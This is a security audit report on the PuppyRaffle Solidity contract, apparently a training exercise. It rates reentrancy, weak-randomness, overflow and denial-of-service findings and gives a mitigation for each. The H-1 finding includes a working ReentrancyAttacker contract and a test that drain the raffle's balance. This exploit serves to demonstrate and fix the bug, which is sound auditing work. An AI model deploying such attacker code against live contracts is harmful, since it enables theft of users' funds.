PuppyRaffle Audit Report

Version 1.0

Dhanesh Gujrathi

March 24, 2024

Protocol Audit Report

Dhanesh Gujrathi

March 24, 2024

Prepared by: Dhanesh Gujrathi

Lead Security Researcher:

- Dhanesh

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Disclaimer

The DG Security team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
--- PuppyRaffle.sol
```

Executive Summary

Issues found

Severity	Number of issues Found
High	3
Medium	2
Low	1
Info	6
Gas Optimizations	2
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` function allows the entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow the CEI (Checks, Effects, Interactions) principle and as a result, it enables the entrant to drain the raffle contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address & after that update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
```

```
7  @>      players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
10      }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again & again till the raffle contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enter the raffle.
2. Attacker sets up the contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enter the raffle.
4. Attacker calls the `PuppyRaffle::refund` function from their attack contract, draining the contract balance.

Proof of Code:

Code

Place the following into the `PuppyRaffleTest.t.sol`

```
1  function testReentancyAttackPossible() public playersEntered {
2          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
3          address attacker = makeAddr("attacker");
4          vm.deal(address(attacker), 1 ether);
5
6          uint256 attackerContractInitialBalance = address(
               attackerContract).balance;
7          uint256 raffleBalanceBeforeAttack = address(puppyRaffle).
               balance;
8
9          console.log("Attack Contract Initial Balance -",
               attackerContractInitialBalance);
10         console.log("Raffle Balance before Attack -",
               raffleBalanceBeforeAttack);
11
12         vm.prank(attacker);
13         attackerContract.attack{value: entranceFee}();
14
15         uint256 attackerContractEndingBalance = address(
               attackerContract).balance;
16         uint256 raffleBalanceAfterAttack = address(puppyRaffle).balance
               ;
17
18         console.log("Attack Contract After Balance -",
               attackerContractEndingBalance);
```

```
19          console.log("Raffle Balance After Attack -",
                raffleBalanceAfterAttack);
20
21          assert(attackerContractEndingBalance >
                attackerContractInitialBalance);
22          assert(raffleBalanceAfterAttack < 1 ether);
23      }
```

And place this contract as well.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory newPlayers = new address[](1);
13         newPlayers[0] = address(this);
14
15         puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= 1) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Also, the event emission should be moved up as well.

```
1      function refund(uint256 playerIndex) public {
```

```
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9   -       players[playerIndex] = address(0);
10  -       emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner & influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` & `block.difficulty` together creates a predictable number. A predictable number is never a good random number. Malicious users can manipulate these values or know them ahead of the time to choose the raffle winner themselves.

Note: This also means that the users could front-run this function & call `refund` if they see that they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money & selecting the `rarest` puppy. This would make the entire raffle worthless if it becomes a gas-war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` & `block.difficulty` and use them to predict when / how to participate. See the solidity blog on prevrandao. `block.difficulty` was replaced with prevrandao.
2. User can mine / manipulate their `msg.sender` value to result in the address which would generate the winner.
3. Users can revert their `selectWinner` transaction, if they don't like the winner or the resulting puppy.

Using on-chain values to generate randomness is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographilcally provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` results in losing the fees

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 var = type(uint64).max
// var = 18446744073709551615
var = var + 1
// Above addition would result in var = 0
```

Impact: In `PuppyRaffle::selectWinner`, the `totalFees` are accumulated for the `feeAddress` to collect later the `PuppyRaffle::withdrawFees`. However if the `PuppyRaffle::totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving the fees permenantly stuck in the contract.

Proof of Concept:

1. We run & conclude a raffle of 4 players.
2. Then we run & conclude another raffle with 89 players.
3. `totalFees` will be: `javascript totalFees = totalFees + uint64(fee); // totalFees = 8e17 + 178e17 // Above total will result in a wrong value / big loss totalFees = 1532e14`
4. You will not be able to withdraw any fees, due to the line in `PuppyRaffle::withdrawFees` function: `javascript require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");`

Although you can use the `selfdestruct` function to force some ETH into the contract to match the values & withdraw fees, but this is not the intended design of the protocol. At some point, there will be so much `balance` in the contract that above line will be impossible to succeed.

Recommended Mitigation: There are a few possible mitigations:

1. Use a newer version of solidity & a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` variable.
2. You could also use the `safeMath` library of the OpenZeppelin for older versions of solidity, but still you will have hard time managing the `uint64` balance, if too many fees are collected.
3. Remove the balance check from the `PuppyRaffle::withdrawFees` function:

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with above require statement, so we recommend removing it anyway.

Medium

[M-1] Looping through `players` array for checking duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array for checking the duplicates. However, the longer the `PuppyRaffle::players` array is, more would be the iterations for any new entrants. This means the players joining the raffle at the beginning would have to pay way lesser gas than the ones joining later.

Impact: The gas cost will significantly increase as more players start joining the raffle. This would discourage the users from joining the raffle & can cause rush at the very beginning of starting the raffle.

An attacker can make the `PuppyRaffle::players` array so big, that nobody else could enter.

```
1         // @audit - DoS Attack
2         for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Proof of Concept:

If we have 2 sets of 100 entrants each, the gas cost would be like - First set of 100 players : ~6252089 Second set of 100 players : ~18067756

Joining the raffle would be around 3 times expensive for the second set of 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1     function testDenialOfServiceWhileEnteringRaffle() public {
2         uint256 playersNum = 100;
3         address[] memory players = new address[](playersNum);
4         address[] memory playersNew = new address[](playersNum);
5
6         for (uint160 i = 0; i < playersNum; i++) {
7             players[i] = address(i);
8             playersNew[i] = address(i + playersNum);
9         }
10
11        uint256 gasAtStart1 = gasleft();
12        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
              players);
13        uint256 gasAtEnd1 = gasAtStart1 - gasleft();
```

```
14
15          console.log("Gas used for first 100 - ", gasAtEnd1);
16
17          uint256 gasAtStart2 = gasleft();
18          puppyRaffle.enterRaffle{value: entranceFee * playersNew.length
                }(playersNew);
19          uint256 gasAtEnd2 = gasAtStart2 - gasleft();
20
21          console.log("Gas used for next 100 - ", gasAtEnd2);
22
23          assert(gasAtEnd2 > gasAtEnd1);
24      }
```

Recommended Mitigation:

We can use any of the 2 methodologies -

1. We can remove the functionality of checking for duplicates, as this functionality only stops a person from entering the raffle with the same wallet address. But the person can enter multiple times with different wallet addresses.
2. We can introduce an addressToUint map, where an address will be assigned the raffleId. With this, we will check duplicates only for new users & using map will have a constant time lookup.

[M-2] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new raffle contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, then the new lottery would not be able to start.

Users could still call the `enterRaffle` function again & a non-wallet entrants could enter, but it would cost a lot due to the duplicate check & resetting the lottery could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, the true winners would not get paid out & someone else could take their winning amount.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a `fallback` or a `receive` function.
2. The lottery ends.
3. The `selectWinner` function would not work even if the lottery is over.

Recommended Mitigation: Create a mapping of `addresses -> payoutAmount`, so the winners can pull their funds by themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize. (Pull over Push)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players & for the player at index 0, which is misguiding for the player at index 0, thinking they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this function will return 0, but according to the natspec, the fuction will also return 0 when the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: It is misguiding for the player at index 0, making them think they have not entered the raffle & attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle & they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0 for the first entrant.
3. User thinks they have not entered the raffle correctly, as per the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert the function call, if the player is not in the array, instead of returning 0.

A better solution might be to return an `int256` value from the function where it returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of solidity is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations to be taken into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Description: Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69
- Found in src/PuppyRaffle.sol Line: 182
- Found in src/PuppyRaffle.sol Line: 204

[I-4] Use of ”Magic” number is discouraged

Description: It can be confusing to see the number literals in the codebase & the code becomes much more readable if the numbers are given a name.

Examples:

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you can use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-5] Events are missing for state changes

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 58
- Found in src/PuppyRaffle.sol Line: 59
- Found in src/PuppyRaffle.sol Line: 60

[I-6] `PuppyRaffle::_isActivePlayer` is never used in the protocol & should be removed

Description: The function `_isActivePlayer` is never used, so should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] Unchanged state variables should be declared as constant or immutable.

Reading from storage is much more expensive that reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to the memory which is more gas efficient.

```
+       uint256 playerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```